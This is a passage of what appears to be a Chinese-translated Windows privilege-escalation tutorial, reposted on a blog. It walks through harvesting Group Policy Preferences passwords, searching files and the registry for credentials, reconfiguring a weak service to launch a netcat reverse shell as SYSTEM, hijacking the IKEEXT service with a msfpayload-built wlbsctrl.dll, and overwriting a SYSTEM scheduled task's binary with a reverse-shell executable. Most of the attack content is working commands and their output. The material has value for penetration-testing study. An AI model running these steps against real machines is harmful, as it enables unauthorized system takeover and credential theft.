在Ben Campbell (@Meatballs__)的推荐下,我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内,那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的,而且所有被授权的用户都有该文件的读权限。

在这个 xml 文件中的密码只是被临时用户“模糊”地用AES加密了,说“模糊”是因为静态密钥已经被公开的公布于msdn网站上,所以可以轻松地破解这些密码。

除了Groups.xml还有几个其他的策略首选项文件也同样含有可选的“cPassword”属性:

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element Drives\Drives.xml: Element-Specific Attributes DataSources\DataSources.xml: Element-Specific Attributes 

这个漏洞可以通过手动浏览SYSVOL文件夹和抓取相关文件来利用,证明如下:

 

 

 

然而,我们都希望有一个自动化的解决方案,这样我们就可以尽可能快的完成这项工作。这里主要有两种方式,取决于我们的shell类型以及权限大小:

  • 一个是通过已建立的会话执行 metasploit 模块;
  • 你可以使用PowerSploit的Get-GPPPassword功能。PowerSploit 是一个强大的powershell框架,作者是Matt Graeber(擅长逆向工程、计算机取证以及渗透测试)。

 

接下来我们要查找一个奇怪的注册表设置项“AlwaysInstallElevated”,如果该设置项被启用,它会允许任何权限的用户以NT AUTHORITY\SYSTEM权限来安装*.msi文件。

可以创建低权限的用户(它们的操作系统使用受到限制)但是却给它们SYSTEM权限去安装软件,这在我看来是有些奇怪。想要阅读更多的这方面的背景知识,可以查看这里 ,这是在GreyHatHacker博客上Parvez的一篇文章,他最早报告了这个安全问题。

为了能利用这个漏洞,我们需要去检查两个注册表键值是否被设置,这是我们是否能弹出SYSTEM权限shell的关键。以下是查询对应注册表键值的语法:

# 只有当注册表项中存在键值 "AlwaysInstallElevated" 且其 DWORD 值为1时才会有效
C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

为了完成这个章节,我们还将在操作系统上做一些快速搜索,希望我们可以成功。

执行以下语句完成搜索:

# The command below will search the file system for file names containing certain keywords. You canspecify as many keywords as you wish.
# 这条语句可以搜索指定含有任意多关键字的文件名 C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config* # Search certain file types for a keyword, this can generate a lot of output. # 用关键词搜索精确的文件类型,这个操作可能造成大量的输出 C:\Windows\system32> findstr /si password *.xml *.ini *.txt # Similarly the two commands below can be used to grep the registry for keywords, in this case "password". # 以下两个命令被用于查找带有关键词的注册表项,样例中查询的关键词是 "password" C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s 

 

在t7-t10阶段,耐心踏实和努力

希望到现在为止,我们已经有了一个SYSTEM shell,但如果我们还没有,接下来还有一些方法可以尝试。在最后章节我们将会关注于Windows服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。

我们将会检查很多访问权限,所以我们应该抓取一份微软Sysinternals套件中accesschk.exe工具的副本。微软Sysinternals套件包含了许多强大的工具,但微软并没有把它们加入标准版的Windows。你可以从微软technet网站下载该套件。

我们将会先从Windows开启的服务来寻找线索,因为那里可以发现很多快速制胜的方法。通常来说,现代操作系统不会包含存在漏洞的服务。在这种情况下,漏洞指的是我们可以重新配置的服务参数。Windows服务有点像应用程序的快捷键,下面是一个例子:

# We can use sc to query, configure and manage windows services.
# 我们可以使用 sc 去查询、配置、管理 Windows 服务
C:\Windows\system32> sc qc Spooler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Spooler TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe LOAD_ORDER_GROUP : SpoolerGroup TAG : 0 DISPLAY_NAME : Print Spooler DEPENDENCIES : RPCSS : http SERVICE_START_NAME : LocalSystem 

我们可以使用accesschk检查每一个服务的权限。

# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services.
C:\> accesschk.exe -ucqv Spooler
Spooler
 R NT AUTHORITY\Authenticated Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 R BUILTIN\Power Users
 SERVICE_QUERY_STATUS
 SERVICE_QUERY_CONFIG
 SERVICE_INTERROGATE
 SERVICE_ENUMERATE_DEPENDENTS
 SERVICE_START
 SERVICE_USER_DEFINED_CONTROL
 READ_CONTROL
 RW BUILTIN\Administrators
 SERVICE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 SERVICE_ALL_ACCESS

Accesschk可以自动化的检测我们是否拥有一个Windows服务的写入访问权限。作为一个低权限用户,我们通常希望检查结果为“Authenticated Users”。一定要去检查你的用户属于哪个用户组,举个例子,“Power Users”被认为是一个低权限用户组(尽管它没有被广泛使用)。

一起来比较一下在Windows 8和Windows XP SP0上输出的不同:

# This is on Windows 8.
C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" * No matching objects found. # On a default Windows XP SP0 we can see there is a pretty big security fail. C:\> accesschk.exe -uwcqv "Authenticated Users" * RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv SSDPSRV SSDPSRV RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS C:\> accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS RW NT AUTHORITY\LOCAL SERVICE SERVICE_ALL_ACCESS 

这个问题在之后的XP SP2版本中得到了解决,然而在SP0和SP1它可以被用作一个通用的本地提权漏洞。通过重新配置该服务,我们可以让它以SYSTEM权限运行任何我们指定的二进制文件。

让我们来看看怎么实践操作,在这个例子里该服务将会执行netcat并且可以反弹一个SYSTEM权限的shell。其它的操作方法当然也是可能存在的。

C:\> sc qc upnphost
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
 TYPE : 20 WIN32_SHARE_PROCESS
 START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : NT AUTHORITY\LocalService C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" [SC] ChangeServiceConfig SUCCESS C:\> sc config upnphost obj= ".\LocalSystem" password= "" [SC] ChangeServiceConfig SUCCESS C:\> sc qc upnphost [SC] GetServiceConfig SUCCESS SERVICE_NAME: upnphost TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Universal Plug and Play Device Host DEPENDENCIES : SSDPSRV SERVICE_START_NAME : LocalSystem C:\> net start upnphost 

 

 

 

即使服务是不正确配置的,我们大多时候也不能获取该服务完整的控制权限。下图是从Brett Moore’s在Windows提权方面的渗透测试,图中的任一权限都可以给我们一个SYSTEM shell。

 

 

 

重要的是去记住我们搞定的session是属于哪个用户组的,正如先前提到的“Power Users”被视为是一个低权限用户组。但“Power Users”也有一些属于他们自己的配置漏洞,Mark Russinovich已经在这个问题上写了非常有趣的文章。

“Power Users”的力量 ( Mark Russinovich )

最后,我们将会检查文件/目录的权限,如果我们不能直接攻击计算机系统,我们就让计算机做所有的繁重工作。由于这方面涉及内容太多,所以我将介绍两种提权漏洞给你,并展示如何去利用它们。一旦你掌握了通用的思路,你将能够在其它场景下应用这些技术。

作为第一个示例,我们将复现GreyHatHacker上Parvez的一篇文章中的方法。“利用低文件夹权限提权”,这是一个很棒的提权思路,我非常推荐大家去阅读。

这个示例是DLL劫持中的一个特例。程序通常不能通过它们自身实现功能,它们需要挂载许多自身所需的资源(大多是DLL但也有某些特有文件)。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件,那我们就可以借此弹出一个与之相同权限的shell。

通常一个Windows应用程序将会使用一个预定义的搜索路径去寻找DLL组件,而且它会以特定的顺序检查这些路径。DLL劫持经常是将一个恶意的DLL置于某一搜索路径中,并确保恶意DLL会在合法的DLL之前被找到。

以下是在32位操作系统下DLL查找的顺序:

  • The directory from which the application loaded
  • 32-bit System directory
  • (C:\Windows\System32)
  • 16-bit System directory
  • (C:\Windows\System)
  • Windows directory (C:\Windows)
  • The current working directory (CWD)
  • Directories in the PATH environment variable (system then user)

有时应用程序想要加载的DLL可能不在主机上,引起该问题的原因有很多,比如当DLL文件只存在于某个未安装的插件或者计算机特性(feature)时。在这种情况下,Parvez发现某些Windows服务会去试图加载默认安装中不存在的 DLL。

但由于问题中的DLL不存在,所以我们将遍历所有路径。作为一个低权限的用户,也许我们可以去放置一个恶意DLL在上述路径中的1-4中。而路径5是行不通的,因为我们正在研究的是Windows服务,我们并没有所有目录的写权限。

让我们来看一下如何进行实战,在本例中,我们将会利用需要加载wlbsctrl.dll的IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务:

# This is on Windows 7 as low privilege user1.
C:\Users\user1\Desktop> echo %username% user1 # We have a win here since any non-default directory in "C:\" will give write access to authenticated users. C:\Users\user1\Desktop> echo %path% C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; C:\Program Files\OpenVPN\bin;C:\Python27 # We can check our access permissions with accesschk or cacls. C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27" C:\Python27 Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Administrators FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE SYNCHRONIZE READ_CONTROL RW NT AUTHORITY\Authenticated Users FILE_ADD_FILE FILE_ADD_SUBDIRECTORY FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_READ_EA FILE_TRAVERSE FILE_WRITE_ATTRIBUTES FILE_WRITE_EA DELETE SYNCHRONIZE READ_CONTROL C:\Users\user1\Desktop> cacls "C:\Python27" C:\Python27 BUILTIN\Administrators:(ID)F BUILTIN\Administrators:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT AUTHORITY\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C # Before we go over to action we need to check the status of the IKEEXT service. In this case we can see it is set to "AUTO_START" so it will launch on boot! C:\Users\user1\Desktop> sc qc IKEEXT [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules DEPENDENCIES : BFE SERVICE_START_NAME : LocalSystem 

现在必要的条件都已经满足了,我们可以生成一个恶意的DLL并弹出一个shell:

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O  Name: Windows Command Shell, Reverse TCP Inline  Module: payload/windows/shell_reverse_tcp  Platform: Windows  Arch: x86 Needs Admin: No Total size: 314  Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_reverse_tcp  Length: 314 Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"} 

在将恶意DLL传送到靶机之后,我们需要将它重命名为wlbsctrl.dll并将它移动到“C:\Python27”路径下。完成后,我们只需要耐心等待机器被重启(或者我们可以尝试强制重启),之后我们就可以得到一个SYSTEM shell。

# Again, this is as low privilege user1.
C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> . 02/18/2014 01:49 PM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/18/2014 12:38 PM 14,336 evil.dll 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 11/22/2013 07:39 PM 1,225 wmic_info.bat 5 File(s) 2,051,897 bytes 3 Dir(s) 73,052,160 bytes free C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll 1 file(s) copied. C:\Users\user1\Desktop> dir C:\Python27 Volume in drive C has no label. Volume Serial Number is 948D-A98F Directory of C:\Python27 02/18/2014 01:53 PM <DIR> . 02/18/2014 01:53 PM <DIR> .. 10/20/2012 02:52 AM <DIR> DLLs 10/20/2012 02:52 AM <DIR> Doc 10/20/2012 02:52 AM <DIR> include 01/28/2014 03:45 AM <DIR> Lib 10/20/2012 02:52 AM <DIR> libs 04/10/2012 11:34 PM 40,092 LICENSE.txt 04/10/2012 11:18 PM 310,875 NEWS.txt 04/10/2012 11:31 PM 26,624 python.exe 04/10/2012 11:31 PM 27,136 pythonw.exe 04/10/2012 11:18 PM 54,973 README.txt 10/20/2012 02:52 AM <DIR> tcl 10/20/2012 02:52 AM <DIR> Tools 04/10/2012 11:31 PM 49,664 w9xpopen.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 7 File(s) 523,700 bytes 9 Dir(s) 73,035,776 bytes free 

万事俱备,我们只需要等待机器重启。出于演示目的,我在下面截图中是使用管理员指令手动重启该服务。

 

 

 

对于我们最后的例子,我们将关注于计划任务。回顾我们之前搜集到的信息,我们有以下条目:

HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries Run As User: SYSTEM Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: Daily Start Time: 9:00:00 AM Start Date: 2/17/2014 End Date: N/A Days: Every 1 day(s) Months: N/A Repeat: Every: Disabled Repeat: Until: Time: Disabled Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled 

这看起来像有一个TFTP客户端连接到远程主机去搜集某些log文件。我们可以看到这个任务每日早9点以SYSTEM权限运行,再看看我们是否有这个文件夹的写入权限:

C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"
E:\GrabLogs
 Medium Mandatory Level (Default) [No-Write-Up]
 RW BUILTIN\Administrators
 FILE_ALL_ACCESS
 RW NT AUTHORITY\SYSTEM
 FILE_ALL_ACCESS
 RW NT AUTHORITY\Authenticated Users
 FILE_ADD_FILE
 FILE_ADD_SUBDIRECTORY
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 FILE_WRITE_ATTRIBUTES
 FILE_WRITE_EA
 DELETE
 SYNCHRONIZE
 READ_CONTROL
 R BUILTIN\Users
 FILE_LIST_DIRECTORY
 FILE_READ_ATTRIBUTES
 FILE_READ_EA
 FILE_TRAVERSE
 SYNCHRONIZE
 READ_CONTROL
C:\Users\user1\Desktop> dir "E:\GrabLogs" Volume in drive E is More Volume Serial Number is FD53-2F00 Directory of E:\GrabLogs 02/18/2014 11:34 PM <DIR> . 02/18/2014 11:34 PM <DIR> .. 02/18/2014 11:34 PM <DIR> Logs 02/18/2014 09:21 PM 180,736 tftp.exe 1 File(s) 180,736 bytes 3 Dir(s) 5,454,602,240 bytes free 

显然这是一个严重的配置问题,这个计划任务根本不需要以SYSTEM权限执行,但更糟糕的是任何授权的用户都有该目录的写权限。

理想情况下,对于一次渗透测试我会抓取一个TFTP客户端在里面放一个后门,确保它仍然正常工作,再将其放回靶机。然而出于演示目的,我们可以简单的通过metasploit生成一个二进制文件然后直接覆盖它。

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O  Name: Windows Command Shell, Reverse TCP Inline  Module: payload/windows/shell_reverse_tcp  Platform: Windows  Arch: x86 Needs Admin: No Total size: 314  Rank: Normal Provided by: vlad902 <[email protected]> sf <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 127.0.0.1 yes The listen address LPORT 9988 yes The listen port Description: Connect back to attacker and spawn a command shell root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t exe > /root/Desktop/evil-tftp.exe x86/shikata_ga_nai succeeded with size 341 (iteration=1) 

现在工作只剩下上传我们的恶意可执行文件并覆盖掉“E:\GrabLogs\tftp.exe”文件。一旦上传成功,我们就可以去休息了,等到明早睡醒就可以得到我们的shell 。

对了,别忘记去检查我们靶机的时间/时区。

C:\Users\user1\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F
 Directory of C:\Users\user1\Desktop
02/19/2014 01:36 AM <DIR> . 02/19/2014 01:36 AM <DIR> .. 04/22/2013 09:39 AM 331,888 accesschk.exe 02/19/2014 01:31 AM 73,802 evil-tftp.exe 01/25/2014 12:46 AM 36,864 fubar.exe 01/22/2014 08:17 AM <DIR> incognito2 06/30/2011 01:52 PM 1,667,584 ncat.exe 02/18/2014 12:38 PM 14,336 wlbsctrl.dll 11/22/2013 07:39 PM 1,225 wmic_info.bat 6 File(s) 2,125,699 bytes 3 Dir(s) 75,341,824 bytes free C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes 1 file(s) copied. 

为了证明这次提权,我调快了系统时间。从以下截图中可以看到,在9点时我们得到了SYSTEM shell。

 

 

 

在思考获取文件/文件夹权限时,这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的binpaths。

我们已经知道了accesschk是一种测试工具。在文章结束之前,我会再给你一些使用accesschk的技巧:

# 当用户第一次使用任何一个 sysinternals 工具包的工具时,用户都会看到一个选择是否接受EULA的弹出窗口,这显然是一个大问题,但我们可以添加一个额外的参数来自动接受EULA
accesschk.exe /accepteula ... ... ...
# Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* 

最后的想法

本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题,你需要投入大量的工作和研究。就像所有的渗透测试一样,举一反三是关键,你对目标的了解越多,获取信息的途径越多,成功的几率就越大。

还要记住,有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题,你可以始终重新配置一个服务,或者创建一个具有系统级别特权的调度任务。

现在就去实践,然后得到SYSTEM!

以上是Windows提权基本原理的全部内容,大家看懂了吗?

猜你喜欢

转载自www.cnblogs.com/jinanxiaolaohu/p/10975636.html